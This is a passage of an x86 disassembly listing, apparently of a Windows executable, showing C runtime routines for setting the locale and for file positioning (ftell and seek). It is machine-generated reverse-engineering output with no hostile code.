loc_428BFC: ; CODE XREF: .nsp0:00428BEFj
mov dword ptr [ebp-14h], 0
loc_428C03: ; CODE XREF: .nsp0:00428BFAj
jmp short loc_428C0E
; ---------------------------------------------------------------------------
loc_428C05: ; CODE XREF: .nsp0:00428BD8j
mov eax, [ebp-0Ch]
add eax, 1
mov [ebp-0Ch], eax
loc_428C0E: ; CODE XREF: .nsp0:00428BB8j
; .nsp0:loc_428C03j
jmp short loc_428BA5
; ---------------------------------------------------------------------------
loc_428C10: ; CODE XREF: .nsp0:00428BB2j
cmp dword ptr [ebp-14h], 0
jz short loc_428C3B
call sub_428E30
mov [ebp-8], eax
push 2
mov ecx, dword_451B84
push ecx
call sub_419980
add esp, 8
mov dword_451B84, 0
jmp short loc_428C61
; ---------------------------------------------------------------------------
loc_428C3B: ; CODE XREF: .nsp0:00428C14j
cmp dword ptr [ebp-0Ch], 0
jz short loc_428C4E
call sub_428E30
mov [ebp-0B0h], eax
jmp short loc_428C58
; ---------------------------------------------------------------------------
loc_428C4E: ; CODE XREF: .nsp0:00428C3Fj
mov dword ptr [ebp-0B0h], 0
loc_428C58: ; CODE XREF: .nsp0:00428C4Cj
mov edx, [ebp-0B0h]
mov [ebp-8], edx
loc_428C61: ; CODE XREF: .nsp0:00428B6Fj
; .nsp0:00428B96j ...
jmp short loc_428C6B
; ---------------------------------------------------------------------------
loc_428C63: ; CODE XREF: .nsp0:00428943j
call sub_428E30
mov [ebp-8], eax
loc_428C6B: ; CODE XREF: .nsp0:0042892Cj
; .nsp0:loc_428C61j
cmp dword ptr [ebp-4], 0
jz short loc_428C88
push 13h
call sub_41FBE0
add esp, 4
mov eax, dword_4EFD44
sub eax, 1
mov dword_4EFD44, eax
loc_428C88: ; CODE XREF: .nsp0:00428C6Fj
mov eax, [ebp-8]
loc_428C8B: ; CODE XREF: .nsp0:004288B7j
; .nsp0:004289EEj ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428C90 proc near ; CODE XREF: .nsp0:00428901p
; .nsp0:00428AF5p ...
var_A8 = dword ptr -0A8h
var_A0 = dword ptr -0A0h
var_9C = byte ptr -9Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0A8h
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_A0]
push ecx
lea edx, [ebp+var_A8]
push edx
lea eax, [ebp+var_9C]
push eax
mov ecx, [ebp+arg_4]
push ecx
call sub_428F30
add esp, 14h
test eax, eax
jnz short loc_428CC9
xor eax, eax
jmp loc_428E1F
; ---------------------------------------------------------------------------
loc_428CC9: ; CODE XREF: sub_428C90+30j
push 132h
push offset aSetlocal_c ; "setlocal.c"
push 2
lea edx, [ebp+var_9C]
push edx
call sub_418D00
add esp, 4
add eax, 1
push eax
call sub_418EF0
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_428D00
xor eax, eax
jmp loc_428E1F
; ---------------------------------------------------------------------------
loc_428D00: ; CODE XREF: sub_428C90+67j
mov eax, [ebp+arg_0]
imul eax, 0Ch
mov ecx, dword_451B84[eax]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
mov eax, dword_4EF96C[edx*4]
mov [ebp+var_4], eax
push 6
mov ecx, [ebp+arg_0]
imul ecx, 6
add ecx, offset dword_4EFBB0
push ecx
lea edx, [ebp+var_14]
push edx
call near ptr sub_41C8D0
add esp, 0Ch
mov eax, dword_4EF984
mov [ebp+var_18], eax
lea ecx, [ebp+var_9C]
push ecx
mov edx, [ebp+var_8]
push edx
call sub_41C300
add esp, 8
mov ecx, [ebp+arg_0]
imul ecx, 0Ch
mov dword_451B84[ecx], eax
mov edx, [ebp+var_A8]
and edx, 0FFFFh
mov eax, [ebp+arg_0]
mov dword_4EF96C[eax*4], edx
push 6
lea ecx, [ebp+var_A8]
push ecx
mov edx, [ebp+arg_0]
imul edx, 6
add edx, offset dword_4EFBB0
push edx
call near ptr sub_41C8D0
add esp, 0Ch
cmp [ebp+arg_0], 2
jnz short loc_428DA3
mov eax, [ebp+var_A0]
mov dword_4EF984, eax
loc_428DA3: ; CODE XREF: sub_428C90+106j
cmp [ebp+arg_0], 1
jnz short loc_428DB5
mov ecx, [ebp+var_A0]
mov dword_4EF988, ecx
loc_428DB5: ; CODE XREF: sub_428C90+117j
mov edx, [ebp+arg_0]
imul edx, 0Ch
call off_451B88[edx]
test eax, eax
jz short loc_428DFC
mov eax, [ebp+arg_0]
imul eax, 0Ch
mov ecx, [ebp+var_C]
mov dword_451B84[eax], ecx
push 2
mov edx, [ebp+var_8]
push edx
call sub_419980
add esp, 8
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_4]
mov dword_4EF96C[eax*4], ecx
mov edx, [ebp+var_18]
mov dword_4EF984, edx
xor eax, eax
jmp short loc_428E1F
; ---------------------------------------------------------------------------
loc_428DFC: ; CODE XREF: sub_428C90+133j
cmp [ebp+var_C], offset dword_451A74
jz short loc_428E13
push 2
mov eax, [ebp+var_C]
push eax
call sub_419980
add esp, 8
loc_428E13: ; CODE XREF: sub_428C90+173j
mov ecx, [ebp+arg_0]
imul ecx, 0Ch
mov eax, dword_451B84[ecx]
loc_428E1F: ; CODE XREF: sub_428C90+34j
; sub_428C90+6Bj ...
mov esp, ebp
pop ebp
retn
sub_428C90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428E30 proc near ; CODE XREF: .nsp0:00428B4Fp
; .nsp0:00428C16p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 1
cmp dword_451B84, 0
jnz short loc_428E64
push 167h
push offset aSetlocal_c ; "setlocal.c"
push 2
push 351h
call sub_418EF0
add esp, 10h
mov dword_451B84, eax
loc_428E64: ; CODE XREF: sub_428E30+14j
mov eax, dword_451B84
mov byte ptr [eax], 0
mov [ebp+var_4], 1
jmp short loc_428E7E
; ---------------------------------------------------------------------------
loc_428E75: ; CODE XREF: sub_428E30:loc_428F27j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_428E7E: ; CODE XREF: sub_428E30+43j
mov edx, [ebp+var_4]
imul edx, 0Ch
mov eax, dword_451B84[edx]
push eax
push offset asc_43829C ; "="
mov ecx, [ebp+var_4]
imul ecx, 0Ch
mov edx, off_451B80[ecx]
push edx
push 3
mov eax, dword_451B84
push eax
call sub_4290D0
add esp, 14h
cmp [ebp+var_4], 5
jge short loc_428EF9
push offset asc_438288 ; ";"
mov ecx, dword_451B84
push ecx
call sub_41C310
add esp, 8
mov edx, [ebp+var_4]
add edx, 1
imul edx, 0Ch
mov eax, dword_451B84[edx]
push eax
mov ecx, [ebp+var_4]
imul ecx, 0Ch
mov edx, dword_451B84[ecx]
push edx
call sub_41C4C0
add esp, 8
test eax, eax
jz short loc_428EF7
mov [ebp+var_8], 0
loc_428EF7: ; CODE XREF: sub_428E30+BEj
jmp short loc_428F27
; ---------------------------------------------------------------------------
loc_428EF9: ; CODE XREF: sub_428E30+81j
cmp [ebp+var_8], 0
jnz short loc_428F06
mov eax, dword_451B84
jmp short loc_428F2C
; ---------------------------------------------------------------------------
loc_428F06: ; CODE XREF: sub_428E30+CDj
push 2
mov eax, dword_451B84
push eax
call sub_419980
add esp, 8
mov dword_451B84, 0
mov eax, off_451B9C
jmp short loc_428F2C
; ---------------------------------------------------------------------------
loc_428F27: ; CODE XREF: sub_428E30:loc_428EF7j
jmp loc_428E75
; ---------------------------------------------------------------------------
loc_428F2C: ; CODE XREF: sub_428E30+D4j
; sub_428E30+F5j
mov esp, ebp
pop ebp
retn
sub_428E30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428F30 proc near ; CODE XREF: .nsp0:00428B87p
; sub_428C90+26p
var_88 = byte ptr -88h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 88h
cmp [ebp+arg_0], 0
jnz short loc_428F46
xor eax, eax
jmp loc_4290B0
; ---------------------------------------------------------------------------
loc_428F46: ; CODE XREF: sub_428F30+Dj
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
cmp ecx, 43h
jnz short loc_428FA0
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx+1]
test eax, eax
jnz short loc_428FA0
mov ecx, [ebp+arg_4]
mov byte ptr [ecx], 43h
mov edx, [ebp+arg_4]
mov byte ptr [edx+1], 0
cmp [ebp+arg_8], 0
jz short loc_428F89
mov eax, [ebp+arg_8]
mov word ptr [eax], 0
mov ecx, [ebp+arg_8]
mov word ptr [ecx+2], 0
mov edx, [ebp+arg_8]
mov word ptr [edx+4], 0
loc_428F89: ; CODE XREF: sub_428F30+3Dj
cmp [ebp+arg_C], 0
jz short loc_428F98
mov eax, [ebp+arg_C]
mov dword ptr [eax], 0
loc_428F98: ; CODE XREF: sub_428F30+5Dj
mov eax, [ebp+arg_4]
jmp loc_4290B0
; ---------------------------------------------------------------------------
loc_428FA0: ; CODE XREF: sub_428F30+1Fj
; sub_428F30+2Aj
mov ecx, [ebp+arg_0]
push ecx
push offset dword_451AFC
call sub_41C4C0
add esp, 8
test eax, eax
jz loc_429068
mov edx, [ebp+arg_0]
push edx
push offset dword_451A78
call sub_41C4C0
add esp, 8
test eax, eax
jz loc_429068
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_88]
push ecx
call sub_429120
add esp, 8
test eax, eax
jz short loc_428FF0
xor eax, eax
jmp loc_4290B0
; ---------------------------------------------------------------------------
loc_428FF0: ; CODE XREF: sub_428F30+B7j
lea edx, [ebp+var_88]
push edx
push offset dword_4EF98C
lea eax, [ebp+var_88]
push eax
call sub_42FDA0
add esp, 0Ch
test eax, eax
jnz short loc_429016
xor eax, eax
jmp loc_4290B0
; ---------------------------------------------------------------------------
loc_429016: ; CODE XREF: sub_428F30+DDj
xor ecx, ecx
mov cx, word_4EF990
mov dword_4EF994, ecx
lea edx, [ebp+var_88]
push edx
push offset dword_451AFC
call sub_429280
add esp, 8
mov eax, [ebp+arg_0]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_429056
mov edx, [ebp+arg_0]
push edx
push offset dword_451A78
call sub_41C300
add esp, 8
jmp short loc_429068
; ---------------------------------------------------------------------------
loc_429056: ; CODE XREF: sub_428F30+111j
push offset dword_451AFC
push offset dword_451A78
call sub_41C300
add esp, 8
loc_429068: ; CODE XREF: sub_428F30+83j
; sub_428F30+9Cj ...
cmp [ebp+arg_8], 0
jz short loc_429081
push 6
push offset dword_4EF98C
mov eax, [ebp+arg_8]
push eax
call near ptr sub_41C8D0
add esp, 0Ch
loc_429081: ; CODE XREF: sub_428F30+13Cj
cmp [ebp+arg_C], 0
jz short loc_42909A
push 4
push offset dword_4EF994
mov ecx, [ebp+arg_C]
push ecx
call near ptr sub_41C8D0
add esp, 0Ch
loc_42909A: ; CODE XREF: sub_428F30+155j
push offset dword_451AFC
mov edx, [ebp+arg_4]
push edx
call sub_41C300
add esp, 8
mov eax, offset dword_451AFC
loc_4290B0: ; CODE XREF: sub_428F30+11j
; sub_428F30+6Bj ...
mov esp, ebp
pop ebp
retn
sub_428F30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4290C0 proc near ; CODE XREF: sub_428C90+12Bp
; DATA XREF: .nsp0:off_451B88o
push ebp
mov ebp, esp
xor eax, eax
pop ebp
retn
sub_4290C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4290D0 proc near ; CODE XREF: sub_428E30+75p
; sub_429280+30p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+arg_8]
mov [ebp+var_4], eax
mov [ebp+var_8], 0
jmp short loc_4290EE
; ---------------------------------------------------------------------------
loc_4290E5: ; CODE XREF: sub_4290D0+42j
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
loc_4290EE: ; CODE XREF: sub_4290D0+13j
mov edx, [ebp+var_8]
cmp edx, [ebp+arg_4]
jge short loc_429114
mov eax, [ebp+var_4]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
mov edx, [ecx-4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41C310
add esp, 8
jmp short loc_4290E5
; ---------------------------------------------------------------------------
loc_429114: ; CODE XREF: sub_4290D0+24j
mov [ebp+var_4], 0
mov esp, ebp
pop ebp
retn
sub_4290D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429120 proc near ; CODE XREF: sub_428F30+ADp
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push 88h
push 0
mov eax, [ebp+arg_0]
push eax
call sub_41B190
add esp, 0Ch
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_42914A
xor eax, eax
jmp loc_429279
; ---------------------------------------------------------------------------
loc_42914A: ; CODE XREF: sub_429120+21j
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
cmp ecx, 2Eh
jnz short loc_429180
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+1]
test eax, eax
jz short loc_429180
mov ecx, [ebp+arg_4]
add ecx, 1
push ecx
mov edx, [ebp+arg_0]
add edx, 80h
push edx
call sub_41C300
add esp, 8
xor eax, eax
jmp loc_429279
; ---------------------------------------------------------------------------
loc_429180: ; CODE XREF: sub_429120+33j
; sub_429120+3Ej
mov [ebp+var_4], 0
jmp short loc_429192
; ---------------------------------------------------------------------------
loc_429189: ; CODE XREF: sub_429120+152j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_429192: ; CODE XREF: sub_429120+67j
push offset a___0 ; "_.,"
mov ecx, [ebp+arg_4]
push ecx
call sub_42FD20
add esp, 8
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_4291B4
or eax, 0FFFFFFFFh
jmp loc_429279
; ---------------------------------------------------------------------------
loc_4291B4: ; CODE XREF: sub_429120+8Aj
mov edx, [ebp+arg_4]
add edx, [ebp+var_C]
mov al, [edx]
mov [ebp+var_8], al
cmp [ebp+var_4], 0
jnz short loc_4291EA
cmp [ebp+var_C], 40h
jge short loc_4291EA
movsx ecx, [ebp+var_8]
cmp ecx, 2Eh
jz short loc_4291EA
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41B1F0
add esp, 0Ch
jmp short loc_429250
; ---------------------------------------------------------------------------
loc_4291EA: ; CODE XREF: sub_429120+A3j
; sub_429120+A9j ...
cmp [ebp+var_4], 1
jnz short loc_429218
cmp [ebp+var_C], 40h
jge short loc_429218
movsx edx, [ebp+var_8]
cmp edx, 5Fh
jz short loc_429218
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
add edx, 40h
push edx
call sub_41B1F0
add esp, 0Ch
jmp short loc_429250
; ---------------------------------------------------------------------------
loc_429218: ; CODE XREF: sub_429120+CEj
; sub_429120+D4j ...
cmp [ebp+var_4], 2
jnz short loc_42924B
movsx eax, [ebp+var_8]
test eax, eax
jz short loc_42922F
movsx ecx, [ebp+var_8]
cmp ecx, 2Ch
jnz short loc_42924B
loc_42922F: ; CODE XREF: sub_429120+104j
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
add ecx, 80h
push ecx
call sub_41B1F0
add esp, 0Ch
jmp short loc_429250
; ---------------------------------------------------------------------------
loc_42924B: ; CODE XREF: sub_429120+FCj
; sub_429120+10Dj
or eax, 0FFFFFFFFh
jmp short loc_429279
; ---------------------------------------------------------------------------
loc_429250: ; CODE XREF: sub_429120+C8j
; sub_429120+F6j ...
movsx edx, [ebp+var_8]
cmp edx, 2Ch
jnz short loc_42925B
jmp short loc_429277
; ---------------------------------------------------------------------------
loc_42925B: ; CODE XREF: sub_429120+137j
movsx eax, [ebp+var_8]
test eax, eax
jnz short loc_429265
jmp short loc_429277
; ---------------------------------------------------------------------------
loc_429265: ; CODE XREF: sub_429120+141j
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_4]
lea eax, [edx+ecx+1]
mov [ebp+arg_4], eax
jmp loc_429189
; ---------------------------------------------------------------------------
loc_429277: ; CODE XREF: sub_429120+139j
; sub_429120+143j
xor eax, eax
loc_429279: ; CODE XREF: sub_429120+25j
; sub_429120+5Bj ...
mov esp, ebp
pop ebp
retn
sub_429120 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429280 proc near ; CODE XREF: sub_428F30+101p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41C300
add esp, 8
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+40h]
test eax, eax
jz short loc_4292B8
mov ecx, [ebp+arg_4]
add ecx, 40h
push ecx
push offset a__4 ; "_"
push 2
mov edx, [ebp+arg_0]
push edx
call sub_4290D0
add esp, 10h
loc_4292B8: ; CODE XREF: sub_429280+1Cj
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax+80h]
test ecx, ecx
jz short loc_4292E3
mov edx, [ebp+arg_4]
add edx, 80h
push edx
push offset a__3 ; "."
push 2
mov eax, [ebp+arg_0]
push eax
call sub_4290D0
add esp, 10h
loc_4292E3: ; CODE XREF: sub_429280+44j
pop ebp
retn
sub_429280 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4292F0 proc near ; CODE XREF: sub_41DD30+10Ep
; sub_422AF0+216p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4EFD40
jnb short loc_429321
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42933C
loc_429321: ; CODE XREF: sub_4292F0+Dj
call sub_4248A0
mov dword ptr [eax], 9
call sub_4248B0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_42936E
; ---------------------------------------------------------------------------
loc_42933C: ; CODE XREF: sub_4292F0+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_42BC50
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_429380
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_42BCE0
add esp, 4
mov eax, [ebp+var_4]
loc_42936E: ; CODE XREF: sub_4292F0+4Aj
mov esp, ebp
pop ebp
retn
sub_4292F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429380 proc near ; CODE XREF: sub_422190+40Dp
; sub_4292F0+64p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push eax
call sub_42BAD0
add esp, 4
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_4293AE
call sub_4248A0
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp loc_42942E
; ---------------------------------------------------------------------------
loc_4293AE: ; CODE XREF: sub_429380+19j
mov ecx, [ebp+arg_8]
push ecx
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_C]
push eax
call dword_4F13DC ; SetFilePointer
mov [ebp+var_8], eax
cmp [ebp+var_8], 0FFFFFFFFh
jnz short loc_4293D6
call dword_4F1348 ; RtlGetLastWin32Error
mov [ebp+var_4], eax
jmp short loc_4293DD
; ---------------------------------------------------------------------------
loc_4293D6: ; CODE XREF: sub_429380+49j
mov [ebp+var_4], 0
loc_4293DD: ; CODE XREF: sub_429380+54j
cmp [ebp+var_4], 0
jz short loc_4293F4
mov ecx, [ebp+var_4]
push ecx
call sub_424800
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_42942E
; ---------------------------------------------------------------------------
loc_4293F4: ; CODE XREF: sub_429380+61j
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4EFC40[edx*4]
mov dl, [ecx+eax+4]
and dl, 0FDh
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov eax, dword_4EFC40[eax*4]
mov [eax+ecx+4], dl
mov eax, [ebp+var_8]
loc_42942E: ; CODE XREF: sub_429380+29j
; sub_429380+72j
mov esp, ebp
pop ebp
retn
sub_429380 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_429447: ; CODE XREF: .nsp0:0042946Fj
cmp dword ptr [ebp+8], 0
jnz short loc_42946B
push offset dword_437504
push 0
push 32h
push offset aFtell_c ; "ftell.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_42946B
int 3 ; Trap to Debugger
loc_42946B: ; CODE XREF: .nsp0:0042944Bj
; .nsp0:00429468j
xor eax, eax
test eax, eax
jnz short loc_429447
mov ecx, [ebp+8]
push ecx
call sub_41ECE0
add esp, 4
mov edx, [ebp+8]
push edx
call sub_4294B0
add esp, 4
mov [ebp-4], eax
mov eax, [ebp+8]
push eax
call sub_41ED50
add esp, 4
mov eax, [ebp-4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4294B0 proc near ; CODE XREF: sub_41DD30+87p
; .nsp0:00429481p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
loc_4294B9: ; CODE XREF: sub_4294B0+31j
cmp [ebp+arg_0], 0
jnz short loc_4294DD
push offset dword_437514
push 0
push 63h
push offset aFtell_c ; "ftell.c"
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_4294DD
int 3 ; Trap to Debugger
loc_4294DD: ; CODE XREF: sub_4294B0+Dj
; sub_4294B0+2Aj
xor eax, eax
test eax, eax
jnz short loc_4294B9
mov ecx, [ebp+arg_0]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
mov eax, [edx+10h]
mov [ebp+var_8], eax
mov ecx, [ebp+var_C]
cmp dword ptr [ecx+4], 0
jge short loc_429505
mov edx, [ebp+var_C]
mov dword ptr [edx+4], 0
loc_429505: ; CODE XREF: sub_4294B0+49j
push 1
push 0
mov eax, [ebp+var_8]
push eax
call sub_4292F0
add esp, 0Ch
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jge short loc_429526
or eax, 0FFFFFFFFh
jmp loc_429743
; ---------------------------------------------------------------------------
loc_429526: ; CODE XREF: sub_4294B0+6Cj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 108h
test edx, edx
jnz short loc_429546
mov eax, [ebp+var_C]
mov ecx, [ebp+var_1C]
sub ecx, [eax+4]
mov eax, ecx
jmp loc_429743
; ---------------------------------------------------------------------------
loc_429546: ; CODE XREF: sub_4294B0+84j
mov edx, [ebp+var_C]
mov eax, [ebp+var_C]
mov ecx, [edx]
sub ecx, [eax+8]
mov [ebp+var_18], ecx
mov edx, [ebp+var_C]
mov eax, [edx+0Ch]
and eax, 3
test eax, eax
jz short loc_4295BC
mov ecx, [ebp+var_8]
sar ecx, 5
mov edx, [ebp+var_8]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4EFC40[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 80h
test ecx, ecx
jz short loc_4295BA
mov edx, [ebp+var_C]
mov eax, [edx+8]
mov [ebp+var_4], eax
jmp short loc_42959A
; ---------------------------------------------------------------------------
loc_429591: ; CODE XREF: sub_4294B0:loc_4295B8j
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42959A: ; CODE XREF: sub_4294B0+DFj
mov edx, [ebp+var_C]
mov eax, [ebp+var_4]
cmp eax, [edx]
jnb short loc_4295BA
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Ah
jnz short loc_4295B8
mov eax, [ebp+var_18]
add eax, 1
mov [ebp+var_18], eax
loc_4295B8: ; CODE XREF: sub_4294B0+FDj
jmp short loc_429591
; ---------------------------------------------------------------------------
loc_4295BA: ; CODE XREF: sub_4294B0+D4j
; sub_4294B0+F2j
jmp short loc_4295DF
; ---------------------------------------------------------------------------
loc_4295BC: ; CODE XREF: sub_4294B0+AFj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jnz short loc_4295DF
call sub_4248A0
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_429743
; ---------------------------------------------------------------------------
loc_4295DF: ; CODE XREF: sub_4294B0:loc_4295BAj
; sub_4294B0+11Aj
cmp [ebp+var_1C], 0
jnz short loc_4295ED
mov eax, [ebp+var_18]
jmp loc_429743
; ---------------------------------------------------------------------------
loc_4295ED: ; CODE XREF: sub_4294B0+133j
mov eax, [ebp+var_C]
mov ecx, [eax+0Ch]
and ecx, 1
test ecx, ecx
jz loc_42973D
mov edx, [ebp+var_C]
cmp dword ptr [edx+4], 0
jnz short loc_429613
mov [ebp+var_18], 0
jmp loc_42973D
; ---------------------------------------------------------------------------
loc_429613: ; CODE XREF: sub_4294B0+155j
mov eax, [ebp+var_C]
mov ecx, [ebp+var_C]
mov edx, [eax]
sub edx, [ecx+8]
mov eax, [ebp+var_C]
mov ecx, [eax+4]
add ecx, edx
mov [ebp+var_10], ecx
mov edx, [ebp+var_8]
sar edx, 5
mov eax, [ebp+var_8]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4EFC40[edx*4]
movsx edx, byte ptr [ecx+eax+4]
and edx, 80h
test edx, edx
jz loc_429734
push 2
push 0
mov eax, [ebp+var_8]
push eax
call sub_4292F0
add esp, 0Ch
cmp eax, [ebp+var_1C]
jnz short loc_4296C0
mov ecx, [ebp+var_C]
mov edx, [ecx+8]
add edx, [ebp+var_10]
mov [ebp+var_14], edx
mov eax, [ebp+var_C]
mov ecx, [eax+8]
mov [ebp+var_4], ecx
jmp short loc_429687
; ---------------------------------------------------------------------------
loc_42967E: ; CODE XREF: sub_4294B0:loc_4296A3j
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_429687: ; CODE XREF: sub_4294B0+1CCj
mov eax, [ebp+var_4]
cmp eax, [ebp+var_14]
jnb short loc_4296A5
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Ah
jnz short loc_4296A3
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_4296A3: ; CODE XREF: sub_4294B0+1E8j
jmp short loc_42967E
; ---------------------------------------------------------------------------
loc_4296A5: ; CODE XREF: sub_4294B0+1DDj
mov ecx, [ebp+var_C]
mov edx, [ecx+0Ch]
and edx, 2000h
test edx, edx
jz short loc_4296BE
mov eax, [ebp+var_10]
add eax, 1
mov [ebp+var_10], eax
loc_4296BE: ; CODE XREF: sub_4294B0+203j
jmp short loc_429734
; ---------------------------------------------------------------------------
loc_4296C0: ; CODE XREF: sub_4294B0+1B5j
push 0
mov ecx, [ebp+var_1C]
push ecx
mov edx, [ebp+var_8]
push edx
call sub_4292F0
add esp, 0Ch
cmp [ebp+var_10], 200h
ja short loc_429700
mov eax, [ebp+var_C]
mov ecx, [eax+0Ch]
and ecx, 8
test ecx, ecx
jz short loc_429700
mov edx, [ebp+var_C]
mov eax, [edx+0Ch]
and eax, 400h
test eax, eax
jnz short loc_429700
mov [ebp+var_10], 200h
jmp short loc_429709
; ---------------------------------------------------------------------------
loc_429700: ; CODE XREF: sub_4294B0+229j
; sub_4294B0+236j ...
mov ecx, [ebp+var_C]
mov edx, [ecx+18h]
mov [ebp+var_10], edx
loc_429709: ; CODE XREF: sub_4294B0+24Ej
mov eax, [ebp+var_8]
sar eax, 5
mov ecx, [ebp+var_8]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4EFC40[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 4
test eax, eax
jz short loc_429734
mov ecx, [ebp+var_10]
